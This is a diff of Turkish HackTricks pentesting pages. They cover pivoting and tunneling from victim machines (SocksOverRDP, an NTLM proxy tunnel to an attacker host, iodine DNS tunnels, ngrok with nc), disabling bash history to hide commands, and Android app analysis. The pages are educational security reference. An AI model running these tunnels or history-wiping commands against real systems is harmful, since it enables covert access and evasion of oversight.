Bu ikili, kurban üzerinde yürütüleceği için ve bir ssh istemcisi olduğu için, ters bağlantıya sahip olabilmek için ssh hizmetimizi ve bağlantı noktamızı açmamız gerekmektedir. Ardından, yalnızca yerel olarak erişilebilir bağlantı noktasını makinedeki bir bağlantı noktasına yönlendirmek için: Bu ikili, kurban üzerinde yürütüleceği için ve bir ssh istemcisi olduğu için, ters bağlantıya sahip olabilmek için ssh hizmetimizi ve bağlantı noktamızı açmamız gerekmektedir. Ardından, yalnızca yerel olarak erişilebilir bağlantı noktasını makinedeki bir bağlantı noktasına yönlendirmek için:
```bash ```bash
@ -350,20 +320,20 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
``` ```
## SocksOverRDP ve Proxifier ## SocksOverRDP ve Proxifier
Sisteme **RDP erişimine** ihtiyacınız var.\ Sisteme **RDP erişiminiz olması gerekir**.\
İndir: İndir:
1. [SocksOverRDP x64 İkili Dosyaları](https://github.com/nccgroup/SocksOverRDP/releases) - Bu araç, Windows'un Uzak Masaüstü Hizmeti özelliğinden `Dynamic Virtual Channels` (`DVC`) kullanır. DVC, **paketleri RDP bağlantısı üzerinden tünelleme**den sorumludur. 1. [SocksOverRDP x64 İkili Dosyaları](https://github.com/nccgroup/SocksOverRDP/releases) - Bu araç, Windows'un Uzak Masaüstü Hizmeti özelliğinden `Dynamic Virtual Channels` (`DVC`) kullanır. DVC, **paketleri RDP bağlantısı üzerinden tünelleme**den sorumludur.
2. [Proxifier Taşınabilir İkili](https://www.proxifier.com/download/#win-tab) 2. [Proxifier Taşınabilir İkili Dosyası](https://www.proxifier.com/download/#win-tab)
İstemci bilgisayarınıza şu şekilde **`SocksOverRDP-Plugin.dll`** yükleyin: İstemci bilgisayarınızda **`SocksOverRDP-Plugin.dll`** dosyasını şu şekilde yükleyin:
```bash ```bash
# Load SocksOverRDP.dll using regsvr32.exe # Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
``` ```
Şimdi **`mstsc.exe`** kullanarak **RDP** üzerinden **hedefe bağlanabiliriz**, ve **SocksOverRDP eklentisinin etkinleştirildiğini** belirten bir **diyalog kutusu** almalıyız ve **127.0.0.1:1080** üzerinde **dinleyecektir**. Şimdi **`mstsc.exe`** kullanarak **RDP** üzerinden **hedefe bağlanabiliriz**, ve **SocksOverRDP eklentisinin etkinleştirildiğini** belirten bir **uyarı** almalıyız ve **127.0.0.1:1080** üzerinde **dinleyecektir**.
**RDP** üzerinden bağlanın ve **`SocksOverRDP-Server.exe`** ikili dosyasını **hedef makinede yükleyip çalıştırın**: **RDP** üzerinden bağlanın ve **hedef makinede** `SocksOverRDP-Server.exe` ikili dosyasını yükleyip çalıştırın:
``` ```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
``` ```
@ -371,13 +341,13 @@ C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
``` ```
netstat -antb | findstr 1080 netstat -antb | findstr 1080
``` ```
Şimdi o trafiği o bağlantı noktası üzerinden vekil sunucu aracılığıyla yönlendirmek için [**Proxifier**](https://www.proxifier.com/) **kullanabilirsiniz.** Şimdi o trafiği o bağlantı noktası üzerinden vekillemek için [**Proxifier**](https://www.proxifier.com/) **kullanabilirsiniz.**
## Windows GUI Uygulamalarını Vekil Yapma ## Windows GUI Uygulamalarını Vekil Yapma
Windows GUI uygulamalarını bir vekil aracılığıyla gezinmek için [**Proxifier**](https://www.proxifier.com/) kullanabilirsiniz.\ Windows GUI uygulamalarını bir vekil üzerinden gezinmek için [**Proxifier**](https://www.proxifier.com/) kullanabilirsiniz.\
**Profil -> Vekil Sunucular** bölümüne SOCKS sunucusunun IP'sini ve bağlantı noktasını ekleyin.\ **Profil -> Vekil Sunucular** bölümünde SOCKS sunucusunun IP'sini ve bağlantı noktasını ekleyin.\
**Profil -> Vekillik Kuralları** bölümüne vekilleştirmek istediğiniz programın adını ve vekilleştirmek istediğiniz IP'lerin bağlantılarını ekleyin. **Profil -> Vekillendirme Kuralları** bölümünde vekilleştirmek istediğiniz programın adını ve vekilleştirmek istediğiniz IP'lerin bağlantılarını ekleyin.
## NTLM vekil atlatma ## NTLM vekil atlatma
@ -399,12 +369,12 @@ Domain CONTOSO.COM
Proxy 10.0.0.10:8080 Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443 Tunnel 2222:<attackers_machine>:443
``` ```
Şimdi, örneğin kurbanın **SSH** servisini 443 numaralı porta dinlemesi için ayarlarsanız, saldırgan 2222 numaralı porta bağlanabilir.\ Şimdi, örneğin kurbanın **SSH** servisini 443 numaralı porta dinlemesi için ayarlarsanız. Saldırgan port 2222 üzerinden buna bağlanabilirsiniz.\
Ayrıca, localhost:443'e bağlanan bir **meterpreter** kullanabilir ve saldırgan 2222 numaralı porta dinler. Ayrıca localhost:443'e bağlanan bir **meterpreter** kullanabilir ve saldırgan 2222 numaralı porta dinleyebilir.
## YARP ## YARP
Microsoft tarafından oluşturulan bir ters proxy. [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) adresinde bulabilirsiniz. Microsoft tarafından oluşturulan bir ters proxy. Burada bulabilirsiniz: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
## DNS Tünellemesi ## DNS Tünellemesi
@ -412,13 +382,13 @@ Microsoft tarafından oluşturulan bir ters proxy. [https://github.com/microsoft
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
DNS sorgularını kullanarak iki sistem arasında tüneller oluşturmak için her iki sistemde de kök yetkisi gereklidir. Her iki sistemde de kök erişimi gereklidir, tun adaptörleri oluşturmak ve DNS sorgularını kullanarak aralarında veri tünellemek için.
``` ```
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2 #You can see the victim at 1.1.1.2
``` ```
Tünel çok yavaş olacak. Bu tünel aracılığıyla sıkıştırılmış bir SSH bağlantısı oluşturabilirsiniz: Tünel çok yavaş olacak. Bununla birlikte, şu yöntemi kullanarak bu tünel üzerinden sıkıştırılmış bir SSH bağlantısı oluşturabilirsiniz:
``` ```
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
``` ```
@ -449,7 +419,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
``` ```
#### Proxychains DNS'ini Değiştirme #### Proxychains DNS'ini Değiştirme
Proxychains, `gethostbyname` libc çağrısını engeller ve tcp DNS isteğini socks proxy üzerinden tünel oluşturur. **Varsayılan olarak**, proxychains'in kullandığı **DNS** sunucusu **4.2.2.2**'dir (sabitlenmiş). Değiştirmek için, dosyayı düzenleyin: _/usr/lib/proxychains3/proxyresolv_ ve IP'yi değiştirin. Eğer **Windows ortamında** iseniz, **alan denetleyicisinin** IP'sini ayarlayabilirsiniz. Proxychains, `gethostbyname` libc çağrısını engeller ve tcp DNS isteğini socks proxy üzerinden tünel oluşturur. **Varsayılan olarak**, proxychains'in kullandığı **DNS** sunucusu **4.2.2.2**'dir (sabitlenmiş). Değiştirmek için, dosyayı düzenleyin: _/usr/lib/proxychains3/proxyresolv_ ve IP'yi değiştirin. Eğer **Windows ortamında**ysanız, **alan denetleyicisinin** IP'sini ayarlayabilirsiniz.
## Go'da Tüneller ## Go'da Tüneller
@ -487,7 +457,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
## ngrok ## ngrok
**[ngrok](https://ngrok.com/) bir komut satırında internete çözümleri açığa çıkarmak için bir araçtır.** **[ngrok](https://ngrok.com/) bir komut satırında internete çözümleri açığa çıkarmak için bir araçtır.**
*Sunum URI'leri şuna benzer:* **UID.ngrok.io** *ığa çıkarma URI'leri şuna benzer:* **UID.ngrok.io**
### Kurulum ### Kurulum
@ -501,9 +471,9 @@ chmod a+x ./ngrok
``` ```
### Temel kullanımlar ### Temel kullanımlar
**Belgeler:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). **Belgelendirme:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
*Mevcut ise kimlik doğrulama ve TLS eklemek de mümkündür.* *Gerekirse kimlik doğrulama ve TLS eklemek de mümkündür.*
#### TCP Tünellemesi #### TCP Tünellemesi
```bash ```bash
@ -513,7 +483,7 @@ chmod a+x ./ngrok
# Listen (example): nc -nvlp 4444 # Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345 # Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
``` ```
#### HTTP ile dosyaların açığa çıkarılması #### Dosyaları HTTP ile Açığa Çıkarma
```bash ```bash
./ngrok http file:///tmp/httpbin/ ./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
@ -552,7 +522,7 @@ addr: file:///tmp/httpbin/
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -560,12 +530,12 @@ addr: file:///tmp/httpbin/
<details> <details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olana kadar AWS hackleme konusunda öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek** ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek** ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin**. * [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna** katılın veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**] koleksiyonumuz (https://opensea.io/collection/the-peass-family) * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] veya bizi **Twitter** 🐦 [**@hacktricks_live**] (https://twitter.com/hacktricks_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**] (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına. * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,7 +24,7 @@ HackTricks'ı desteklemenin diğer yolları:
## Global değişkenler ## Global değişkenler
Global değişkenler **çocuk işlemler** tarafından **devralınacaktır**. Global değişkenler **çocuk işlemler tarafından miras alınacaktır**.
Mevcut oturumunuz için bir global değişken oluşturabilirsiniz: Mevcut oturumunuz için bir global değişken oluşturabilirsiniz:
```bash ```bash
@ -39,17 +39,13 @@ unset MYGLOBAL
``` ```
## Yerel değişkenler ## Yerel değişkenler
**Yerel değişkenler** yalnızca **mevcut kabuk/senkron** tarafından **erişilebilir**. **Yerel değişkenler** yalnızca **mevcut kabuk / betik** tarafından **erişilebilir**.
```bash ```bash
LOCAL="my local" LOCAL="my local"
echo $LOCAL echo $LOCAL
unset LOCAL unset LOCAL
``` ```
## Mevcut değişkenleri listele ## Mevcut değişkenleri listele
```bash
printenv
```
```bash ```bash
set set
env env
@ -61,7 +57,7 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ
Kaynak: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/) Kaynak: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
* **DISPLAY** **X** tarafından kullanılan ekran. Bu değişken genellikle **:0.0** olarak ayarlanır, bu da mevcut bilgisayardaki ilk ekranı temsil eder. * **DISPLAY** **X** tarafından kullanılan ekran. Bu değişken genellikle **:0.0** olarak ayarlanır, bu da mevcut bilgisayardaki ilk ekranı ifade eder.
* **EDITOR** kullanıcının tercih ettiği metin düzenleyici. * **EDITOR** kullanıcının tercih ettiği metin düzenleyici.
* **HISTFILESIZE** geçmiş dosyasında bulunan maksimum satır sayısı. * **HISTFILESIZE** geçmiş dosyasında bulunan maksimum satır sayısı.
* **HISTSIZE** Kullanıcı oturumu sona erdiğinde geçmiş dosyasına eklenen satır sayısı. * **HISTSIZE** Kullanıcı oturumu sona erdiğinde geçmiş dosyasına eklenen satır sayısı.
@ -83,19 +79,19 @@ Kaynak: [https://geek-university.com/linux/common-environment-variables/](https:
### **HISTFILESIZE** ### **HISTFILESIZE**
Bu değişkenin **değerini 0 olarak değiştirin**, böylece **oturumunuzu sonlandırdığınızda** geçmiş dosyası (\~/.bash\_history) **silinecektir**. Bu değişkenin **değerini 0** olarak değiştirin, böylece oturumunuzu sonlandırdığınızda geçmiş dosyası (\~/.bash\_history) **silinecektir**.
```bash ```bash
export HISTFILESIZE=0 export HISTFILESIZE=0
``` ```
### **HISTSIZE** ### **HISTSIZE**
Bu değişkenin **değerini 0 yapın**, böylece **oturumunuzu sonlandırdığınızda** herhangi bir komut **geçmiş dosyasına** (\~/.bash\_history) eklenmeyecektir. Bu değişkenin değerini 0 olarak değiştirin, böylece oturumunuzu sonlandırdığınızda herhangi bir komut **geçmiş dosyasına** (\~/.bash\_history) eklenmeyecektir.
```bash ```bash
export HISTSIZE=0 export HISTSIZE=0
``` ```
### http\_proxy & https\_proxy ### http\_proxy & https\_proxy
İşlemler, internete bağlanmak için burada belirtilen **proxy**'yi kullanacaklar. İşlemler, internete bağlanmak için burada belirtilen **proxy**'yi kullanacaktır, **http veya https** üzerinden.
```bash ```bash
export http_proxy="http://10.10.10.10:8080" export http_proxy="http://10.10.10.10:8080"
export https_proxy="http://10.10.10.10:8080" export https_proxy="http://10.10.10.10:8080"
@ -109,7 +105,7 @@ export SSL_CERT_DIR=/path/to/ca-certificates
``` ```
### PS1 ### PS1
Promptunuzu nasıl göründüğünü değiştirin. Prompt görünümünü değiştirin.
[**Bu bir örnektir**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808) [**Bu bir örnektir**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)
@ -121,30 +117,30 @@ Normal kullanıcı:
![](<../.gitbook/assets/image (88).png>) ![](<../.gitbook/assets/image (88).png>)
Bir, iki ve üç arka planda çalışan işler: Arka planda bir, iki ve üç iş:
![](<../.gitbook/assets/image (89).png>) ![](<../.gitbook/assets/image (89).png>)
Bir arka planda çalışan iş, bir durdurulan iş ve son komut doğru bir şekilde tamamlanmadı: Bir arka planda iş, bir durdurulmuş iş ve son komut doğru bir şekilde tamamlanmadı:
![](<../.gitbook/assets/image (90).png>) ![](<../.gitbook/assets/image (90).png>)
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* Şirketinizi **HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * Şirketinizi **HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -2,15 +2,15 @@
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary> <summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Bize katılın** 💬 [**Discord grubunda**](https://discord.gg/hRep4RUj7f) veya [**telegram grubunda**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Bize katılın** 💬 [**Discord grubunda**](https://discord.gg/hRep4RUj7f) veya [**telegram grubunda**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
@ -46,12 +46,12 @@ ADB'yi nasıl kullanacağınızı öğrenmek için [**ADB Komutları**](adb-comm
## Smali ## Smali
Bazen **uygulama kodunu değiştirmek** ve **gizli bilgilere erişmek** (belki iyi gizlenmiş şifreler veya bayraklar) ilginç olabilir. Bu durumda, apk'yı decompile etmek, kodu değiştirmek ve yeniden derlemek ilginç olabilir.\ Bazen **uygulama kodunu değiştirmek** ve **gizli bilgilere** erişmek ilginç olabilir (belki iyi gizlenmiş şifreler veya bayraklar). Sonra, apk'yı decompile etmek, kodu değiştirmek ve yeniden derlemek ilginç olabilir.\
[**Bu öğreticide** APK'yı nasıl decompile edeceğinizi, Smali kodunu nasıl değiştireceğinizi ve APK'yi nasıl yeniden derleyeceğinizi](smali-changes.md) öğrenebilirsiniz. Bu, **sunulacak dinamik analiz sırasında çeşitli testler için alternatif olarak çok faydalı olabilir**. Bu nedenle, **bu olasılığı her zaman akılda tutun**. [**Bu öğreticide** APK'yı nasıl decompile edeceğinizi, Smali kodunu nasıl değiştireceğinizi ve APK'yı nasıl yeniden derleyeceğinizi **öğrenebilirsiniz**](smali-changes.md). Bu, **sunulacak dinamik analiz sırasında çeşitli testler için bir alternatif olarak çok yararlı olabilir**. Bu nedenle, **bu olasılığı her zaman akılda tutun**.
## Diğer ilginç püf noktalar ## Diğer ilginç püf noktalar
* [Play Store'da konumunuzu sahtecilik yapma](spoofing-your-location-in-play-store.md) * [Konumunuzu Play Store'da sahtecilik yapma](spoofing-your-location-in-play-store.md)
* **APK'ları İndir**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/) * **APK'ları İndir**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/)
* Cihazdan APK çıkarma: * Cihazdan APK çıkarma:
```bash ```bash
@ -74,7 +74,7 @@ APK'nın **strings**'lerine bakarak **şifreler**, **URL'ler** ([https://github.
**Firebase** **Firebase**
**Firebase URL'lerine** özel dikkat gösterin ve yanlış yapılandırılmış olup olmadığını kontrol edin. [Firebase hakkında daha fazla bilgi ve nasıl sömürüleceği hakkında buraya bakın.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) **Firebase URL'lerine** özel dikkat gösterin ve yanlış yapılandırılmış olup olmadığını kontrol edin. [Firebase nedir ve nasıl sömürüleceği hakkında daha fazla bilgi için buraya bakın.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Uygulamanın Temel Anlayışı - Manifest.xml, strings.xml ### Uygulamanın Temel Anlayışı - Manifest.xml, strings.xml
@ -82,20 +82,20 @@ Bir uygulamanın **_Manifest.xml_** ve **_strings.xml_** dosyalarının incelenm
**Manifest.xml**'den belirlenen **güvenlik açıkları** şunları içerebilir: **Manifest.xml**'den belirlenen **güvenlik açıkları** şunları içerebilir:
* **Hata Ayıklanabilir Uygulamalar**: _Manifest.xml_ dosyasında hata ayıklanabilir olarak ayarlanmış uygulamalar (`debuggable="true"`) bağlantılara izin vererek sömürülmeye yol açabileceği için risk oluşturur. Hata ayıklanabilir uygulamaların nasıl sömürüleceği hakkında daha fazla anlayış için, bir cihazda hata ayıklanabilir uygulamaları bulma ve sömürme konusunda bir öğreticiye başvurun. * **Hata Ayıklanabilir Uygulamalar**: _Manifest.xml_ dosyasında hata ayıklanabilir olarak ayarlanmış uygulamalar (`debuggable="true"`) bağlantılara izin vererek sömürülmeye yol açabileceği için risk oluşturur. Hata ayıklanabilir uygulamaların nasıl sömürüleceği hakkında daha fazla anlayış için cihazda hata ayıklanabilir uygulamaları bulma ve sömürme konusunda bir öğreticiye başvurun.
* **Yedekleme Ayarları**: Hassas bilgilerle uğraşan uygulamalar için `android:allowBackup="false"` özelliği, özellikle usb hata ayıklama etkinleştirildiğinde yetkisiz veri yedeklemelerini önlemek için açıkça belirtilmelidir. * **Yedekleme Ayarları**: Hassas bilgilerle uğraşan uygulamalar için `android:allowBackup="false"` özelliği, özellikle usb hata ayıklama etkin olduğunda yetkisiz veri yedeklemelerini önlemek için açıkça belirtilmelidir.
* **Ağ Güvenliği**: _res/xml/_ içindeki özel ağ güvenliği yapılandırmaları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik ayrıntılarını belirleyebilir. Örneğin, belirli alanlar için HTTP trafiğine izin vermek gibi. * **Ağ Güvenliği**: _res/xml/_ içindeki özel ağ güvenliği yapılandırmaları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik ayrıntılarını belirleyebilir. Örneğin, belirli alanlar için HTTP trafiğine izin verme.
